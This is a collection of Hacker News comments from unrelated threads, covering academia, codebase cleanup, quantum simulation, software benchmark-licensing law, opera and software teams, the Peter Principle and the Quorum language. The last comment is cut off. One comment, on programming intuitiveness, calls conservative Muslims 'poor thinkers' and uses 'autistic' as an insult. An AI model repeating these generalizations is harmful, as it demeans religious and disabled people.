Dear Academia, I loved you, but I’m leaving you (2014) | For the OP, sure. Of course. He expected something else? After all that time as a student, he didn't see what he saw as a post-doc?<p>When I was in K-12, I got strong messages that education was generally good and, in particular, good preparation for a good career, e.g., financially secure, enough to be a good family provider and more, and a Ph.D. was the best degree.<p>Okay, around DC, with only a BS in math, I quickly had a good career going in applied math and computing. Often I could have done better if I'd known more about math and physics; so I did a lot of study on/off the job and learned a lot. Then I went for a Ph.D. in applied math and did well with it.<p>But, no way, not a chance, never, not even for a milli, micro, nano, pico second did I ever want to be a college prof. Instead I wanted to return to the career I had before grad school and, then, just do better at THAT career.<p>But my wife's Ph.D. program nearly killed her. So, to try to help her get well, I took a slot as a prof in an MBA program in a B-school near her family farm.<p>She didn't get well; that academic slot was as in the OP: The B-school wasn't much about business. The students were putting in time, money, and effort and learning next to nothing useful for career in business. For me, as in the OP, I was being financially irresponsible.<p>So, I left for business, an AI project at IBM's Watson lab.<p>Publishing? The OP claims that some of the publishing was unethical. Actually, in the papers I wrote as sole author, I didn't encounter that. My papers were fully <i>honest, honorable, ethical</i>, etc. Some co-authored papers were nearly all about hype and PR (public relations, getting known, pretending to have some good, leading edge research); the papers weren't actually wrong or unethical, and hype and PR are more common in business than in those co-authored papers!<p>Looking back, here's what's wrong generally with B-school: It has <i>physics envy</i>, wants to see itself as doing high end, pure research. E.g., too many B-schools are much more interested in the question P versus NP than anything having to do with being successful in business. B-schools are not <i>clinical</i> like medicine, law, dentistry, pharmacy. Except for some courses in accounting and maybe business law, B-schools are not vocational training or much help for a business career.<p>More generally in US research university education, the big push is for research that can get research grants, and helping the students do well outside academics is a low priority. Really, at a good research university, the students will be able to learn from the best sources the best theoretical foundations of some field; that foundation might, maybe a long shot but might, help for some work in the field, even in business. Yes, one really good application might be a strong pillar for a whole career. Fine. But day by day those research university foundations are not very good information about how to be successful in business, might be like teaching about the details of photosynthesis and the chemistry and thermodynamics of internal combustion engines as a foundation for running a lawn mowing service!<p>Since the OP is about psychology, my brother tried that. He got his Masters. He concluded that psychology knew a lot about rats that was next to useless for people and otherwise next to nothing useful about people, was good at what was not of interest and not much good at what was of interest. He changed to political science and got his Ph.D. there. He has never used the degree for his career!<p>What happened? At the high end US research universities, ballpark 60% of the university budgets is from the university's 60% or so off the top of research grants to the profs. The research grants are heavily for (A) the STEM fields, e.g., from NSF, and (B) bio-medical science, e.g., from NIH. (A) is mostly for US national security and got started during the Cold War after The Bomb and more in the STEM fields were so important in WWII. As a secondary effect, the research funding AND the DoD funding for systems has helped US progress in information technology, e.g, the early days of Silicon Valley. For (B), that is, bluntly, because Congress has to vote the money and a lot of members of Congress are old enough to care about progress in medicine. As a secondary effect, the technology in US medicine is likely the best in the world. Still, as in the OP, commonly trying to be a college prof is financially irresponsible and possibly objectionable ethically, etc. But, again, there are some really big bucks involved, both to run a university and to get research grants.<p>Some good news, for the taxpayers, about the research grants, especially from NSF and NIH, (A) the grant applications commonly get expert reviews and (B) generally the grants are quite competitive.<p>For the students, learning is MUCH easier now than ever before: We are awash in books, often in PDF and for free, video lectures, e.g., quantum mechanics at MIT, etc. And, especially in practical computing, the US workforce does a LOT of independent study and self teaching, e.g., commonly knows MUCH more about practical computing than research university computer science profs.<p>So, in short, we can leave the research universities to do far out research and for the STEM fields, even for theoretical purposes (e.g., do research with a day job as reviewing patents in Switzerland!), i.e., there's no law going to sleep at night for an hour thinking about how to resolve P versus NP, and especially for practical purposes, be largely self-taught.<p>For how to run a successful lawn mowing service, bath and kitchen renovation service, auto repair and body repair shop, ..., building supply company, fast food restaurant, Web site, software house, etc., people get to learn from their parents, early jobs, what they can read, and especially what they can figure out for themselves. For using some algorithms for the traveling salesman problem to find a route over some ground to minimize mowing time, that might, but I doubt it, be okay for some farms but not for mowing suburban lawns! |
Research Shows All Our Mainstream Programming Languages Are Counter-Intuitive [pdf] | I just wrote a C# interpreter in 800 lines, here <a href="https://github.com/soulblaze1/cs_interpreter" rel="nofollow">https://github.com/soulblaze1/cs_interpreter</a><p>The purpose of it was initially to try ideas like rewinding code when the program at runtime (with its data) was badly formed.<p>The main problem though with conceptualization (and you have to be a philosopher to get to grips with the conceptual nature of reality) is that it is never bound up in schema. Schema (like a page of code) is what you end up being imprisoned by. The evidence of conceptual reality can be found in that you need to hold the whole program in your head at once (it's a concept); the more detail it has and the more complex the overarching overview is, the more you are taking on to try to cater for different eventualities.<p>And it's these eventualities that your program schema (the how everything interrelates and links up) focuses on, which are what imprisons you. Schema is content as well as form.<p>If we take a cross-domain analog here, we can jump across to religion. Conservative Muslims conceptualize the world and the reality around them based on the god Allah and what he wants, and what he thinks is right for women and so on. The Muslim readers of the Quran agree that they are reading the literal word of god. This is a problem of poor conceptualization: poor thinkers cannot escape the first overarching world narrative they are given. That's why they have those conservative religious views. If they were rational, they would see beyond it, and thus they would be incapable of holding irrational views in the first place. Worldview is never "additive", it is conceptual.<p>You have to read about Ontological Mathematical Illuminism to go further in what I am trying to convey here.<p>Programming suffers because, in communication and in thought, we use what scientists call "brain language", rather than just the words we use. For every sentence there are many dynamic, revolving conceptual formulations we are doing -- that's why you can watch any political video, any economic theory video or article, and over the same words you can come back later on, whether years or minutes, and you will think differently because your overall conception of reality has changed. You are conceptualizing reality differently (this is the meaning and the constitution of bugfixing and all scientific, psychological and rational problem-solving).<p>Programming is about what you want to do and form and achieve, which will always be fastest in your head. It changes dramatically and significantly, particularly as you move onto new content. This problem will never be solved, because what we express conceptually in abstract -- such as the type of people we would like to meet, which you will notice applies to an ideal partner, friend, and their parents, but is never a concretized thing, and cannot refer to only one individual person in particular, and yet it exists! -- remains beyond words, schema and existing best practices' dogma. We use domain knowledge but we all conceptualize differently.<p>One way to radically simplify programming is to simplify the schema so it's much more "flat" and pre-packaged based on pre-known use-cases which can be provided in advance, being able to assume most things. Meaning for example, anyone who wants to make any website at all, could use a government-led venture's components, and these would be maintained as a new national or international standard with reasonable utility for all, and put into law for major 3rd party sites to support the interoperation between (like payment processors). That is one way to push a social principle (like Hitler did) by promoting it in priority. The problem with this of course, is that the world isn't about for example, everyone having such specific access to technology like that. So, it's "unnatural" and an imcompossible, impractical idea to suggest that everyone else do what you happen to want. So how do we square different priorities of society, and find how to best optimize society?<p>I covered an overview of the world's problems here: <a href="https://medium.com/@abraxian/thinking-is-everything-a-bright-future-means-clear-thinking-2d16a0433954" rel="nofollow">https://medium.com/@abraxian/thinking-is-everything-a-bright...</a><p>In terms of general programming, you are just not going to get away from the problems of expression. Expressing thought is always going to be complex and it's always going to force you to fold and unfold different points of interdependency. Certain languages and constructs offer checks and balances for this, but ultimately it's about your own understanding i.e. conceptualization of what the program as a whole is doing -- you will never escape this.<p>What kind of programming use-case are we talking about again? Because industry, and standards and products/services, shift and change. If you want to innovate, you have to be able to accurately conceptualize. And then, programming in general seems to have the magic of providing forever-solutions for everyone in the world. But programming is also autistic. It's not actually solving the big broad issues of the world. All programming is actually a small-world, autistic selfish version of interacting with society. It's focusing forever on small problems, not big problems. The intuitive proof of this is that programming in the main hobbyist sense, would be best pursued when many more people can take it up -- when society's major problems can be fixed, and this starts with much clearer accurate thinking and intuiting about all of society and its systems. The real optimization, away from the small world of the individual, is real true radical leveraging of human ingenuity -- true social revolution in the revaluing of key ideas, ideologies, ideations and conceptualizations -- changing how we think; transcending the old human models of conduct.<p>In terms of simplistic expressions for computer programs, the vast majority indeed can be made simpler and pre-packaged. That all relies though on having highly logical, intuitive individuals run the project -- the ultimate human project being super-smart goverment. If you don't have a rational government, you are bound into the irrational, predatory-capitalist, right-wing selfishness megastructures within that society you live in. If you don't interact with the political community you live under, you won't achieve anything to begin with no matter how perfect your code is.<p>In the main, we are now seeing an escalation of the world's biggest problems (putting the wrong people and the wrong political system in power) and one purpose of this is it will wake up all the autistic individuals who aren't rationally responding to it.<p>At the moment, there are several broad sectors of programming you could break it up into - web, financial instruments, creativity, and the computer graphics industry to name the popular ones. From there you have a lot of technically innovative products such as they use in the movie computer graphics industry for example. Depending on issues of interoperability and dependency, these projects and their owners aren't willing to shift over to a new.. what? What kind of programming language could justify people switching over? It would have to be the ultimate programming language. But to think, we already have our minds. We can already instantly reform our conceptions of things to elucidate on things we know about, and to learn.<p>Unreal Engine 4 didn't use C sharp.. why? Concerns about speed. Every industry has its own complex agenda to push. They have bugs they produce and will never fix until their attention is brought to it via intrinsic motivation. All companies and businesses have agendas. A super-smart government could only lead in terms of the fidelity and sophistication and conciseness of newer technology. For that, you need the absolute smartest programmers who have very little trouble conceptualizing broad-phase concepts and workings of the things they understand. The world must become led by experts, there is no other way. |
Ask HN: Codebase at my work is a complete mess, what should I do? | I've struggled with this a lot. If you want to talk over the phone or via discord I would be more than willing to be a sounding board. :)<p>> Recently I joined a relatively small company (50-100 employees) as a medium level software developer. For a while I was very excited about this opportunity.
After few days/weeks of getting to know the whole codebase I finally moved to a specific project I was suppose to work on and I found out the code is a complete mess.<p>Yep<p>> Often I find parts of code that unintentionally affects other parts of code. Some parts are just copied and left there doing nothing. Even names of classes/variables are sometimes useless and project structure is unintuitive and seemingly without rules. It's spaghetti and relatively big spaghetti (tens of thousands of LOC).<p>CACE principal at work.<p>> I started "repairing" the project but there're no tests to check whether my adjustments are correct.
<p>Start writing tests, start motivating other contributors to write tests. Focus on the code that matters.<p>> I'm so frustrated and depressed by it. The job basically turned into something I hate - I'm just rewriting the code!<p>You're going to need to work through this and either change your mindset about this or start looking for a new job. I challenge you to do the former and not the latter. This is how 90% of the projects you're going to jump into are going to be. The real test will be whether or not you can thread the needle and make valuable improvements to the code while also delivering business needs.<p>You can't let this job get you down. I know... it's your vocation, but most of the time people treat their job like a sweet paycheck. Instead you're going to need to treat this as a challenge if you want to get through it. You've identified the problems, now you can either continue to be negative and wallow (bitch) or, attempt to offer solutions to fix them.<p>The challenge is not so much technical as it is cultural. You'll need to be able to communicate the value of the changes that you want to make. You'll need to change the mindset of the stakeholders of the people on the project to let them know why integration tests are not unit tests. Why, separation of concerns is important and how you plan on doing that. Otherwise, you won't be able to create change and this is the cultural challenge.<p>The bad news is that this isn't necessarily the exact job you signed up for as an engineer. The good news is that you'll be able to build new valuable skills that are often highly sought after. If you feel like you're a "better engineer" than the current engineer that built it, then you need to help elevate that engineer and the other engineers around them. Otherwise if you become depressive or negative on the job, you're going to have a major negative impact on the rest of the team.<p>> The person in charge of this project was working on it alone and from the outside it all looks fine and it's working. So this makes the higher people think that it's all just fine.<p>Welcome to business life. This is how it's going to be a lot. I'm sorry.<p>> I really don't know what to do. Should I just go and basically say that this person did a bad job? I don't feel very comfortably doing that because (a) I'm a relatively new hire, (b) the person in charge is working there for about two years and (c) I'm much younger than she/he is both professionally and biologically.<p>No, don't go in and blame the person who wrote it. You always need to "consider the context". It's easy to point at someone's code and call it shit, or to say that a project needs to be rewritten. It's harder to reverse engineer the "why" of how it got to where it is. If you can identify the "why" then you'll have more insight as to how you may be able to fix the problem or address the aspects that may have caused the problem.<p>> I've already made some comments about rewriting it and the response was basically "ok".<p>"ok" or in other words, "how are you going to deliver business value for our team". Show them data, show them why having easy to maintain code delivers business value, then people's ears will prick up.<p>It's your job to manage this problem. If you have the necessary insights, it's on you to fix that. Otherwise move on and don't let it kill you. I know, my job is very important to me as well, you can't make yourself miserable over something like this. It will be far too prevalent in this field. |
First Large-Scale Quantum Simulation of Topological State of Matter | I'll try to give here a crash course on how simulating quantum systems on a quantum computer works - not for the actual computer type in the article (D-Wave's quantum annealer) but on a traditional gate-based quantum computer.<p>So, we have this thing called the Schrodinger equation. For our purposes, all you need to know is that it's an equation which can perfectly describe the behavior of a quantum system as it evolves in time. Examples of quantum systems include a single electron sitting in a magnetic field, photons going through closely-placed slits, or entire biomolecules doing biomolecule things.<p>Simulating things on computers is great because of how darn easy & cheap it is compared to running the same scenario in the real world. We want to simulate quantum systems on computers. We simulate quantum systems by trying to mimic the action of the Schrodinger equation on the quantum system. However, (as Feynman famously pointed out in <i>Simulating Physics with Computers</i>[0]), classical computers are very bad at this. They take exponential resources to simulate a quantum system. Now, if you have a computer that obeys the same physical laws as the quantum system it's simulating - a quantum computer - we might be able to simulate the system with only linear resources.<p>Let's take a very simple quantum system. Consider a single electron, sitting in a magnetic field. Electrons have a property called <i>spin</i> which is affected by magnetic fields. Electrons can have their spin be up, down, or some superposition thereof. We want to know how the spin of the electron changes over time as it sits inside the field.<p>There are three steps involved in simulating this quantum system:<p>1. Encode the system's <i>start state</i> in a form understood by a quantum computer - a qbit, which is a 2-vector [a, b] of complex numbers where |a|^2 + |b|^2 = 1. We'll say the qbit [1, 0] represents spin up, and [0, 1] represents spin down. Other states [a, b] where both a and b are nonzero mean the electron spin is in superposition of up & down. Here, let's say we start in spin up - so [1, 0].<p>2. <i>Compile</i> the Schrodinger equation into a series of quantum logic gates for execution on a quantum computer. This is the real meat of the problem, more on that later.<p>3. Decode the <i>end state</i> back into the physical world. After the start state has been put through all the logic gates, we want to decode the result to the same spin state we would've had if we'd set up a real electron in a real magnetic field and let it actually evolve over time (within some acceptable error).<p>Pretty simple so far, right? All the magic happens in step 2 - how do we compile the Schrodinger equation into logic gates? It revolves around something called the Hamiltonian. The Hamiltonian is a component of the Schrodinger equation, and is a matrix which represents the energy of the system. That brings up a lot of questions around how exactly a matrix corresponds to the energy of a system, but it's a (fascinating!) rabbit hole we'll sadly have to avoid. Let's just look at an example.<p>Consider again our plucky electron in a magnetic field. Suppose the magnetic field points upward along the Z axis. This means the Schrodinger equation for our system is e^(-i H t), where e is Euler's constant, i is the square root of -1, t is a scalar variable representing time, and H is the Hamiltonian matrix - here, the 2x2 Pauli-Z matrix in column form Z = [[1, 0],[0,-1]]. How can we compile this equation into a quantum logic gate?<p>Turns out you can do it through basic algebraic manipulation. There are some tricky intermediate steps involving expanding e^x into the Taylor series[1] and back into trig functions[2] but at the end of the day you have:<p>e^(-i Z t) = cos(t) 1 - i sin(t) Z<p>where 1 is the 2x2 identity matrix and Z is the 2x2 Pauli-Z matrix from above. This just so happens to be a common primitive gate on a quantum computer, called the Rz(t) operator[3] which performs a rotation of the quantum state vector about the Z axis (actually what we use is Rz(2t)). So, we can apply this single quantum gate to our encoded start state, end up with our end state, and decode it back to a real physical spin state!<p>Now, of course this is a very simple example with a single qbit, but you can build up from there. I'll be writing a much longer guide on this which I hope to release at the end of next week. If you're interested in quantum computation in general and not just quantum simulation, I have a 1.5 hour talk on the topic aimed at computer scientists here[4]!<p>[0] <a href="https://people.eecs.berkeley.edu/~christos/classics/Feynman.pdf" rel="nofollow">https://people.eecs.berkeley.edu/~christos/classics/Feynman....</a><p>[1] <a href="https://en.wikipedia.org/wiki/Taylor_series#Exponential_function" rel="nofollow">https://en.wikipedia.org/wiki/Taylor_series#Exponential_func...</a><p>[2] <a href="https://en.wikipedia.org/wiki/Taylor_series#Trigonometric_functions" rel="nofollow">https://en.wikipedia.org/wiki/Taylor_series#Trigonometric_fu...</a><p>[3] <a href="https://docs.microsoft.com/en-us/qsharp/api/prelude/microsoft.quantum.primitive.rz?view=qsharp-preview" rel="nofollow">https://docs.microsoft.com/en-us/qsharp/api/prelude/microsof...</a><p>[4] <a href="https://www.youtube.com/watch?v=F_Riqjdh2oM" rel="nofollow">https://www.youtube.com/watch?v=F_Riqjdh2oM</a> |
Dear Ad Networks | Current Intel license:<p>"Unless expressly permitted under the Agreement, You will not, and <i>will not allow any third party</i> to ... (v) publish or provide any Software benchmark or comparison test results."<p>If the author uses the ad servers to conduct benchmark or comparison tests of Intel software, and the ad networks allow the author to provide or publish the results of those tests, then it could be argued the ad networks are violating their license agreement with Intel. As a preemptive measure to prevent such testing, perhaps the ad networks would block the author's IP address.<p>The language in the Intel license probably was inspired from similar language first used by Oracle. This language is commonly copied and pasted into many software license agreements.<p><a href="http://www.eweek.com/c/a/Application-Development/DB-Test-Pioneer-Makes-History/" rel="nofollow">http://www.eweek.com/c/a/Application-Development/DB-Test-Pio...</a><p>Question: Is this type of restriction enforceable?<p>The only way to answer this is for end-users to challenge it. There was a case where a state attorney general challenged it because it was used in a deceptive way. The AG won. However the AG was not challenging this restriction as an end-user. The Court appeared to suggest the restriction would be unenforceable, but was not asked to decide that question. The question was whether the state's consumers were being mislead. Excerpts of that case below.<p><pre><code> Excerpts from http://www.leagle.com/decision/2003579195Misc2d384_1519.xml
195 Misc.2d 384 (2003)
758 N.Y.S.2d 466
Supreme Court, New York County.
January 6, 2003.
----------------------------------------------------------------------
Supreme Court, New York County.
OPINION OF THE COURT
MARILYN SHAFER, J.
</code></pre>
Network Associates included on the face of many of its software diskettes and on its download page on the Internet the following restrictive clause:<p>"Installing this software constitutes acceptance of the terms and conditions of the license agreement in the box. Please read the license agreement before installation. Other rules and regulations of installing the software are: "a. The product can not be rented, loaned, or leased-you are the sole owner of this product. "b. <i>The customer shall not disclose the result of any benchmark test to any third party without Network Associates' prior written approval. "c. The customer will not publish reviews of this product without prior consent from Network Associates, Inc.</i>" (Affirmation of Kenneth M. Dreifach, exhibit 2.)<p>In July 1999, Network World Fusion, an online magazine, published a comparative review of six firewall software products, including Network Associates' Gauntlet. It appears that Network World Fusion sought permission to publish the review of Gauntlet and that Network Associates denied it. Network World Fusion performed the review despite Network Associates' refusal to allow the review of Gauntlet. In response to the unsatisfactory results of the review, Network Associates communicated its protest, quoting the language of the restrictive clause.<p>This conduct prompted an investigation by the office of the Attorney General of the State of New York.<p>"This language implies that limitations on the publication of reviews do not reflect the <i>policy</i> of Network Associates, but result from some binding law or <i>other rules and regulations imposed by an entity other than Network Associates.</i>"<p>Assume for the sake of discussion, there is some such entity.<p>That is, assume some entity (e.g., Oracle, Microsoft, Intel, etc.) has a license restriction prohibiting publication of benchmark results.<p>Does the Court think that restriction would be enforceable?<p>"Thus, the Attorney General has made a showing that the language at issue may be deceptive, and as such, <i>the language is not merely unenforceable</i>, but warrants an injunction and the imposition of civil sanctions according to Executive Law S: 63 (12) and General Business Law S: 349."<p>Is the Court here suggesting that even if the restriction was not deceptive, it is nevertheless unenforceable.<p>Is it possible to read that sentence as suggesting the restriction has the qualities of being both unenforceable and deceptive.<p>As to unenforceability, no users challenged the enforceability of the restriction. Until they do, we cannot answer the question of enforceability.<p>However, as to deceptiveness, this can be a violation of state business laws and give rise to grounds for injunction and civil sanctions. This is what allowed the NY AG to take action on behalf of NY state consumers.<p>AG won. NA lost.<p>The Court granted a permanent injunction prohibiting NA from ever including the following notice with its software:<p>"Installing this software constitutes acceptance of the terms and conditions of the license agreement in the box. Please read the license agreement before installation. Other rules and regulations of installing the software are: "a. The product can not be rented, loaned, or leased-you are the sole owner of this product. "b. The customer shall not disclose the result of any benchmark test to any third party without Network Associates' prior written approval. "c. The customer will not publish reviews of this product without prior consent from Network Associates, Inc.";<p>The injunction also prohibits NA from "including any language restricting the right to publish the results of testing and review without notifying the Attorney General at least 30 days prior to such inclusion". NA was directed "to provide a sworn certified statement indicating the number of instances in which software was sold on discs or through the Internet containing the above-mentioned language in order for the court to determine what, if any, penalties and costs should be ordered." |
The Origins of Opera and the Future of Programming | Talk video - <a href="https://www.youtube.com/watch?v=W9I4loWogqw" rel="nofollow">https://www.youtube.com/watch?v=W9I4loWogqw</a><p>Excerpts:<p>One camerata emerged inside ThoughtWorks (consultancy) in London around 2003–2006. This group gave us Continuous Integration, Continuous Delivery, DevOps. They weren’t all on the same project, but they talked to each other, and they solved the problem of: Does deployment have to be so hard?<p>Jez and Dan and Chris Read produced The Deployment Production Line. Later, Dan went to invent BDD, Sam Newman became a prophet of microservices, and more...<p>The Composition
Go to the profile of Jessica Kerr
Jessica Kerr
Symmathecist, developer, speaker, mother, crazy nut. Atomist. Learning and growing. All tweets are mine, licensed CC0. she/her
Apr 16
the Origins of Opera and the Future of Programming
(latest video, or the original keynote)<p>At the end of this post is an audacious idea about the present and future of software development. In the middle are points about mental models: how important and how difficult they are. But first, a story of the origins of Opera.<p>Part 1: Examples
The Camerata
The Florentine Camerata were a group of people who met in Florence in the 16th century. They had a huge impact on history and on each other.<p>(Caveat: I’m not a student of music or music history. I listened to this Great Course and heard about this Camerata and noticed a resemblance to some teams I’ve seen and been in. So I looked it up further, and came upon Collective “Problem-Solving” in the History of Music: the Case of the Camerata by Dr. Ruth Katz in the Journal of the History of Ideas, and toward the end of it my mind was blown. More on that later.)<p>Camerata literally means a small orchestra or choir. This Camerata was a diverse group of people who gathered and worked on a common problem: they were bored with polyphony, the esteemed music of their day. (Sample: Palestrina) Polyphony is very pretty: it has around four melodies, each of equal importance. Each has a logic of its own, rather than melody and accompaniment. Polyphony is intellectually rewarding, but you need technical understanding to appreciate it fully. What feeling it conveys comes through auditory qualities.<p>The Camerata asked the revolutionary question: what if you could understand the words?<p>Methods
The Camerata included (all quotes in this style are from Katz)<p>musicians, artists, poets, astrologers, philosophers, scientists
who met informally under the aegis of Bardi and Corsi.
People with diverse skills and perspectives worked together. They had sponsorship; Giovanni d’Bardi was Count of Venoa, and loved to surround himself with interesting people.<p>Their aim was to reform the polyphonic music of the day
and they believed that the best way to do so was to renovate the ancient Greek practice of setting words to music
They shared a common goal; they were unsatisfied with what Vincenzo Galilei (member of the Camerata, father of Galileo) called “that corrupt and incomprehensible contemporary music.”<p>And they had a common strategy. They didn’t really know what the Greeks did, but this lent legitimacy to their ideas. Like citing computer science papers from the 70s.<p>Their real high-level objective was horizonal, and more specific than moving away from polyphony:<p>Their principal aim was to find the optimum formula for wedding words and music.
Here, “optimum” is measured as “maximally effective in communicating… the specific meanings and emotions appropriate to the text.”<p>Qualities
The Camerata talked a lot, and listened to each other talk.<p>“I learned more from their learned discussions than I learned from descant in over thirty years” — Caccini, renowned singer
(I had to look up “descant.” It means long-winded discourse. Like you’re experiencing now, sorry.)<p>But they weren’t all talk.<p>the Camerata constituted not only a forum for theoretical discussions, but also a workshop, a “laboratory” for the creation and performance of music.
They practiced together! And experimented. The beginning of the scientific method is a big part of the Renaissance, and it intertwines with art. We have a new way of thinking, ways of asking the universe questions. Vincenzo Galilei varied lengths and tensions of strings and found the ratios that make chords.<p>The Camerata didn’t always get along. There was rivalry between Bardi and Corsi, the two chief sponsors. Bardi preferred talking, Corsi wanted to play more music. These feed each other. There was disagreement over style between Caccini and Peri, the two musical stars. Peri wanted to focus on the words, with a bit of music; Caccini wanted the singing to stand out, while also understanding the words. These tensions lead to a balance.<p>They did code review!<p>presentations made… were commented on formally by “defenders” and “censors” who were nominated for the occasion.
I like that criticism came from people designated to the role, not the asshole who doesn’t like you and takes it out on your code. (Technically, this took place in the Alterati, another meetup with a lot of the same people.)<p>Outcomes
Over the years, this team changed history. They invented the music-drama, and a style of music that conveyed more meaning. (Sample: Monteverdi, a first composer to adopt the Camerata’s style. If you know Italian, you can probably understand the words.)<p>What about the individuals? Their outcomes were exceptional too! Here are some of their publications:<p>As composers of operas and authors of scientific treatises, these half-dozen people are fewer than half of the Camerata members who have Wikipedia articles. Really, what are the chances, if you’re alive in the sixteenth century, that you have a Wikipedia article today? These people did pretty well for themselves. They grew out of the Camerata.<p>Also in Science
This pattern of a group of people coming together to solve a problem is not unique to music — it’s the common case.<p>the Camerata resembles the kind of “invisible college” which is the key to creativity in science.
This “invisible college” is an association of people who share ideas. Who build a new reality together, then spread it to advance the wider culture.<p>We like to give the Nobel Prize to one or two people. But who worked in their lab? Who did they correspond with?<p>When Jon Von Neumann went to Los Alamos for the Manhattan Project, so did two or three mathematicians that he went to high school with. Really, you grow up in Hungary, what are your chances of getting to Los Alamos? They built each other up.<p>These invisible colleges share:<p>tacit understandings concerning appropriate methods of research
(processes and values)<p>priority problems
(this means they fight over who was first; more on this later)<p>and the shorthand communication which shared work implies.
We can move quickly together because we share common ground, compatible mental models. This is super fun, when I get to this point with my team.<p>Also in Art
People work together to develop their individual styles. Usually in Paris, it seems.<p>the salon, the coffeehouse, the café as breeding places of artistic creativity
In the nineteenth century, a group of artists broke from the mainstream and developed Impressionism.<p>coping with a common puzzle which they, separately and as a group, tried to solve
Van Gogh lived in the Montmartre district with the other artists and dealers and critics. When I visited his museum in Amsterdam, my favorite part was all the paintings by his friends and associates; they developed each other as painters.<p>One of these (my personal favorite) was Paul Gauguin, the one Van Gogh cut his ear off over. Gauguin went on to influence Picasso.<p>Picasso was at the center of many social circles in Paris over the decades. Writers, photographers, philosophers.<p>One painter who dipped in and out of his camerata was Aleksandra Ekster, who took the ideas of Cubism back to Kiev, where her studio was its own place of idea exchange.<p>One of her high school classmates and friends was Alexander Bogomazov, and a print of his lives on my bedroom wall.<p>my own little museum. includes “Head” by Bogomazov next to a piece by my daughter
This brings us to the modern day, where we can find examples of this phenomenon in software teams.<p>Also in Software
One camerata emerged inside ThoughtWorks (consultancy) in London around 2003–2006. This group gave us Continuous Integration, Continuous Delivery, DevOps. They weren’t all on the same project, but they talked to each other, and they solved the problem of: Does deployment have to be so hard?<p>Jez and Dan and Chris Read produced The Deployment Production Line. Later, Dan went to invent BDD, Sam Newman became a prophet of microservices, and more. I keep meeting conference speakers who were part of this group.<p>Another example: the early Spring team, around the same time. They came together online, from all around the world, to solve the problem of: do we really have to use J2EE? and made Java development less painful for everyone. Today, Java development is (approximately) everywhere, and Spring is everywhere Java is.<p>That group of developers and businesspeople produced an inordinate number of founders and CEOs and partners. |
The Peter Principle is a joke taken seriously. Is it true? | my thoughts on this. warning: lots of assumptions, technicalities and anecdotal evidence following.<p>let's assume the reward we're talking about here and people are mostly after is financial (i.e. pay increase). so if you are after higher pay, a promotion "up the corporate ladder" is the natural way, as your wage would increase much more slowly if you stayed at the same job. this at least is even codified in most countries minimum wage laws.<p>but what about that ladder? why is it "moving up" (good) and "moving down" (bad)? software engineering is an interesting example here, as you can fill almost every available position with people whose skill can make a difference. an expert tester, an gifted community manager, UX designer or talented technical documentation writer might all have an impact on the product that's worth their weight in gold, even though the results might not be as obvious and tangible as those of, say, a project manager (who could convincingly claim the success of a project while this would be strange for a technical writer). compared to unskilled rote work where the worker mostly simply has to show up and do his/her job.<p>thus, the question is, why does someone "higher up" the ladder earn more than someone "lower down". obvious answers to this are workload, skill, responsibility and quantity.<p>as for workload: 1. being higher up the ladder doesn't automatically mean one is working more and harder than the people below one. 2. working more (hours) doesn't necessarily mean one's more effective. at some point effectiveness decreases due to stress, sleep deprivation, burn out.<p>as for skill: the peter principle itself and years of anecdotal evidence (through the media, not necessarily personal) have shown that moving up the ladder into different jobs doesn't necessarily equate with higher skill in the new position.<p>as for responsibility: 1. at least in software engineering, criminal prosecution for incompetence at the managerial/top level is rare (assumption). positions that require <i>real</i> personal responsibility (say, something where lives are on the line) aren't necessarily paid better. nurses or teachers aren't paid better than CFOs, they're much more at risk for prosecution in case of negligence or incompetence. 2. failure to do your managerial job in one company well doesn't necessarily prevent you from getting the same job in a different company, as much hinges on a personal network and it's usually easier to get exposure to potential future employers if you're regularly working with partners and customers instead of just interfacing with other people from the same company (assumption). 3. personal responsibility for your family and dependents: higher pay usually means more savings, which makes one less dependent on keeping the same job than someone with less pay and savings. this might be disputed as higher pay usually means a more lavish lifestyle and higher expenditures, but a loaf of bread costs the same for everyone, some costs are just fixed and the system is somewhat rigged to care for those at the top (anecdotal evidence).<p>as for quantity: this is what makes it a hierarchy. if there's one project manager for a project with, say, five developers, PM positions are obviously rarer than developer positions. i can't think of a reason why this should have an influence on reward though. managing people is a very different skill to writing code; there's technically less demand for it (as you only need one manager for N developers) but i'm not convinced that your skill here has a higher impact. while four good developers can make up for one bad developer and still keep the quality high, five good developers could also make up for one bad manager and still keep the quality high. the quality of the managerial work doesn't introduce a skill ceiling; i see it more as a multiplicator of the work of his/her teammates (and maybe a lower skill boundary, if a good manager can effectively handle sub-par actors). the other angle here is _availability_, but i'm not convinced it's harder to find a good PM than it's to find a good technical writer nowadays.<p>so, what i want to say is that the corporate ladder itself is a misguided, outdated construct and basing your wage on your position on it is actively harmful. it forces employees to abandon the work they're skilled and talented at for jobs that are rewarded better for worse quality and job satisfaction.<p>it should be seen as a graph where the node weight (pay) depends on effectiveness. which is hard compared to ladder position as the latter is trivial to assess, constant and traditionally socially accepted while the former is highly dependent on circumstances, hard to measure and introduces additional risks due to social dynamics.<p>i'm convinced the upsides of removing the pressure to "move up" the ladder/hierarchy for financial gain would greatly benefit a company - and society as a whole, if implemented universally -, but i'm not sure if people are ready for it and whether we have the tools and systems to implement it correctly.<p>i guess back then i thought google would be the company that finally broke the barrier back then when one of their mottos was that managers aren't more important than developers. not sure if that's still the case, ever was the case or whether they have reverted to a more traditional model. |
The Quorum Programming Language | Hi all, this is Andreas Stefik (I invented Quorum). For whatever reason, somebody online sent me a link to this thread and I thought I would check it out. I don’t usually post online about this kind of stuff, as I prefer to just hack away on Quorum or I write papers to other academics (mostly), but maybe it will give people some context. I’ve read the comments in the thread. No promise that what I have to say is interesting to everyone (or anyone), but hopefully it provides people some context.<p>First, people saying Quorum was originally designed for blind children are correct. Originally, we were toying with the idea of adjusting syntax to make it easier to read out loud through a screen reader. That stemmed from observing young blind programmers use a variety of programming languages on one of my first National Science Foundation projects. Phrases like, “for int I equals semicolon, I less then semicolon I plus plus” or other phrases can be extraordinarily difficult to listen to, especially if you are child. This is one reason why Quorum is used so heavily at schools for the blind or visually impaired in the U.S. and elsewhere. We haven’t been just for the blind in a long-time, but I still care about that community quite a bit and we work hard to make things accessible. There’s a ton more to discuss in that area, but I want to move on to “evidence."<p>Second, I think some folks don’t quite understand or have context for what evidence based means. For those just learning about that idea, I would recommend reading Antti-Juhani Kaijanaho’s dissertation on the topic, especially later chapters like 8. That can be found here: <a href="https://jyx.jyu.fi/dspace/handle/123456789/47698" rel="nofollow">https://jyx.jyu.fi/dspace/handle/123456789/47698</a>. There’s few points to consider, especially 1) the amount of human-factors evidence that exists in the literature is very low — it is a fact. It’s an uncomfortable 